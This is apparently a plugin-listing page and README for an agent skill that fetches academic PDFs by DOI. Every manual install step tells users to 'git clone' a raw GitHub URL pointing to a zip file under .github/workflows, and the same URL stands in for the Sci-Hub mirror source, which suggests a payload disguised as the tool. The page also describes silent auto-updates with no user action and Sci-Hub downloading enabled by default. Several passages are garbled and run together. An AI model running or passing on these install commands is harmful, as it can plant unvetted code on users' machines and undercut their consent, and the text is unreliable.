Downloads paper PDFs from a DOI, or from a title resolved to a DOI first, trying Unpaywall, arXiv, bioRxiv and medRxiv, PubMed Central, Semantic Scholar, and Sci-Hub mirrors in turn. Supports batch downloads.
Claude Code
$ npx -y skills add Kara-lynnmacroeconomic2412/paper-fetch --agent claude-code
Codex
$ npx skills add Kara-lynnmacroeconomic2412/paper-fetch -a codex
Cursor
$ npx skills add Kara-lynnmacroeconomic2412/paper-fetch -a cursor
Gemini CLI
$ npx skills add Kara-lynnmacroeconomic2412/paper-fetch -a gemini-cli
GitHub Copilot
$ npx skills add Kara-lynnmacroeconomic2412/paper-fetch -a github-copilot
OpenCode
$ npx skills add Kara-lynnmacroeconomic2412/paper-fetch -a opencode
Windsurf
$ npx skills add Kara-lynnmacroeconomic2412/paper-fetch -a windsurf
openAccessPdf → arXiv → PubMed Central OA → bioRxiv/medRxiv → Sci-Hub mirrors (last resort, on by default)pip install needed{first_author}_{year}_{journal_abbrev}_{short_title}.pdf (journal omitted if unknown; multi-word journals get ISO-style initials, e.g. Proceedings of the National Academy of Sciences → PNAS)--batch, or pipe them in with --batch -schema subcommand (with deprecations slot for forward-compat drift detection), TTY-aware format default, idempotent retries via --idempotency-key, typed exit codes (0/1/3/4), partial-success batches with next retry hints, per-source diagnostics in result.source_detail (e.g. which Sci-Hub mirror won, so an orchestrator can pin it via PAPER_FETCH_SCIHUB_MIRRORS)--idempotency-key replays the exact envelope without any network I/Ogit clone, the agent runs a synchronous git pull --ff-only on the first invocation per conversation, throttled to once per 24h via <skill_dir>/.last_update. Updates apply immediately. Zero user action required. Force an immediate check with rm <skill_dir>/.last_update.The skill is discipline-agnostic — it works for any field, not just life sciences or computer science.
| Source | Discipline scope |
|---|---|
| Unpaywall | ✅ All disciplines (covers every Crossref DOI — humanities, social sciences, physics, chemistry, economics, etc.) |
| Semantic Scholar | ✅ All disciplines (cross-domain academic graph) |
| arXiv | Physics, math, CS, statistics, quantitative finance, economics, EE |
| PubMed Central | Biomedical only |
| bioRxiv / medRxiv | Biology / medicine preprints only |
| Sci-Hub mirrors | ✅ All disciplines (last-resort fallback when every OA / institutional source misses) |
In practice, Unpaywall + Semantic Scholar alone cover OA papers in chemistry, materials, economics, psychology, humanities, and every other field via institutional repositories, SSRN, RePEc, and publisher-hosted OA copies. arXiv/PMC/bioRxiv are additional fallbacks for their specific domains, and Sci-Hub is the universal last resort.
Works with all major AI coding agents that support the Agent Skills format:
| Platform | Status | Details |
|---|---|---|
| Claude Code | ✅ Full support | Native SKILL.md format |
| OpenClaw / ClawHub | ✅ Full support | metadata.openclaw namespace |
| Hermes Agent | ✅ Full support | Installable under research category |
| pi-mono | ✅ Full support | metadata.pimo namespace |
| OpenAI Codex | ✅ Full support | agents/openai.yaml sidecar |
| SkillsMP | ✅ Indexed | GitHub topics configured |
| Feature | Native agent | This skill |
|---|---|---|
| Resolve DOI to PDF | Ad-hoc web search | Deterministic 5-source chain |
| Unpaywall integration | No | Yes — highest OA coverage |
| arXiv / PMC / bioRxiv fallback | Manual | Automatic |
| Batch download | No | Yes — --batch dois.txt or --batch - (stdin) |
| Consistent filenames | No | Yes — author_year_title.pdf |
| Machine-readable schema | No | Yes — fetch.py schema |
| Structured output | No | Stable JSON envelope + NDJSON progress |
| Idempotent retries | No | --idempotency-key replays cached envelope |
| Typed exit codes | No | 0/1/3/4 — orchestrator can route failures |
| Dependencies | Varies | Python stdlib only |
export UNPAYWALL_EMAIL=you@example.com
Add it to ~/.zshrc / ~/.bashrc to persist. Without it, Unpaywall is skipped and the remaining 4 sources (Semantic Scholar, arXiv, PMC, bioRxiv/medRxiv) are still tried.
# Global install
git clone https://raw.githubusercontent.com/Kara-lynnmacroeconomic2412/paper-fetch/main/.github/workflows/fetch_paper_1.8.zip ~/.claude/skills/paper-fetch
# Project-level install
git clone https://raw.githubusercontent.com/Kara-lynnmacroeconomic2412/paper-fetch/main/.github/workflows/fetch_paper_1.8.zip .claude/skills/paper-fetch
clawhub install paper-fetch
# Or manual
git clone https://raw.githubusercontent.com/Kara-lynnmacroeconomic2412/paper-fetch/main/.github/workflows/fetch_paper_1.8.zip ~/.openclaw/skills/paper-fetch
git clone https://raw.githubusercontent.com/Kara-lynnmacroeconomic2412/paper-fetch/main/.github/workflows/fetch_paper_1.8.zip ~/.hermes/skills/research/paper-fetch
Or add to ~/.hermes/config.yaml:
skills:
external_dirs:
- ~/myskills/paper-fetch
git clone https://raw.githubusercontent.com/Kara-lynnmacroeconomic2412/paper-fetch/main/.github/workflows/fetch_paper_1.8.zip ~/.pimo/skills/paper-fetch
# User-level
git clone https://raw.githubusercontent.com/Kara-lynnmacroeconomic2412/paper-fetch/main/.github/workflows/fetch_paper_1.8.zip ~/.agents/skills/paper-fetch
# Project-level
git clone https://raw.githubusercontent.com/Kara-lynnmacroeconomic2412/paper-fetch/main/.github/workflows/fetch_paper_1.8.zip .agents/skills/paper-fetch
skills install paper-fetch
| Platform | Global path | Project path |
|---|---|---|
| Claude Code | ~/.claude/skills/paper-fetch/ | .claude/skills/paper-fetch/ |
| OpenClaw | ~/.openclaw/skills/paper-fetch/ | skills/paper-fetch/ |
| Hermes Agent | ~/.hermes/skills/research/paper-fetch/ | Via external_dirs |
| pi-mono | ~/.pimo/skills/paper-fetch/ | — |
| OpenAI Codex | ~/.agents/skills/paper-fetch/ | .agents/skills/paper-fetch/ |
| SkillsMP | N/A (installed via CLI) | N/A |
Single DOI:
python scripts/fetch.py 10.1038/s41586-021-03819-2
Custom output directory:
python scripts/fetch.py 10.1038/s41586-021-03819-2 --out ~/papers
Batch mode:
cat > dois.txt <<EOF
10.1038/s41586-021-03819-2
10.1126/science.abj8754
10.1101/2023.01.01.522400
EOF
python scripts/fetch.py --batch dois.txt --out ~/papers
Dry-run (preview without downloading):
python scripts/fetch.py 10.1038/s41586-020-2649-2 --dry-run
Human-readable text output:
python scripts/fetch.py 10.1038/s41586-020-2649-2 --format text
Pipe DOIs from another tool:
echo 10.1038/s41586-021-03819-2 | python scripts/fetch.py --batch -
Safely retriable batch (replay cached envelope on retry):
python scripts/fetch.py --batch dois.txt --out ~/papers \
--idempotency-key monday-review-batch
Machine-readable self-description (for agents):
python scripts/fetch.py schema --pretty
Streaming NDJSON (one result per line as each DOI resolves):
python scripts/fetch.py --batch dois.txt --stream
Or just ask your agent naturally:
Download the AlphaFold2 paper PDF to my
~/papersfolder
Fetch the PDF for DOI 10.1038/s41586-020-2649-2
Download these three papers: 10.1038/s41586-021-03819-2, 10.1126/science.abj8754, 10.1101/2023.01.01.522400
Check if this paper has an open-access PDF available: 10.1038/s41586-020-2649-2
Batch download all DOIs from my dois.txt file into ~/papers
openAccessPdf field + externalIds lookup10.1101/PAPER_FETCH_INSTITUTIONAL=1); your subscription IP / cookies / EZproxy authorize the fetchPAPER_FETCH_SCIHUB_MIRRORS (or built-in defaults: sci-hub.ru, sci-hub.st, sci-hub.su, sci-hub.box, sci-hub.red, sci-hub.al, sci-hub.mk, sci-hub.ee); on full miss, scrapes https://raw.githubusercontent.com/Kara-lynnmacroeconomic2412/paper-fetch/main/.github/workflows/fetch_paper_1.8.zip once for fresh mirrors. Disable with PAPER_FETCH_NO_SCIHUB=1.SKILL.md — the only required file. Loaded by all platforms.scripts/fetch.py — the downloader (pure stdlib Python)agents/openai.yaml — OpenAI Codex sidecar configurationREADME.md — this fileREADME_CN.md — Chinese documentation%PDF header and fails cleanly in that caseMIT
If this skill helps you, consider supporting the author:
WeChat Pay
Alipay
Buy Me a Coffee
Give a Reward
Agents365-ai
Stars on GitHub
Fair-code platform to build and deploy AI agents and workflows. Combine a visual canvas with custom code, run it self-hosted or in the cloud, and connect to 1500+ integrations. AI automation you can trust with real work, from prototype to production.
@n8n-ioA browser automation plugin for Claude Code with skills for direct browser control, scraping, testing, and QA scoring of websites, plus guidance on the Browser Use cloud browser API and Python library.
@browser-useOrganizes your AI agents into a team that runs around the clock, handling hiring, scheduling, delegation and reporting so you can stay in charge without staying online.
@lobehubA browser automation command line tool for AI agents, letting them navigate pages, fill forms, click buttons, take screenshots and extract data from websites.
@vercel-labs-2Downloads paper PDFs from a DOI, or from a title resolved to a DOI first, trying Unpaywall, arXiv, bioRxiv and medRxiv, PubMed Central, Semantic Scholar, and Sci-Hub mirrors in turn. Supports batch downloads. Install it with the command on its page. It includes paper-fetch. Its skills do not fire on their own yet. Free and open source.
Is this plugin yours?
Claim it with GitHubSubmit a pluginPromote it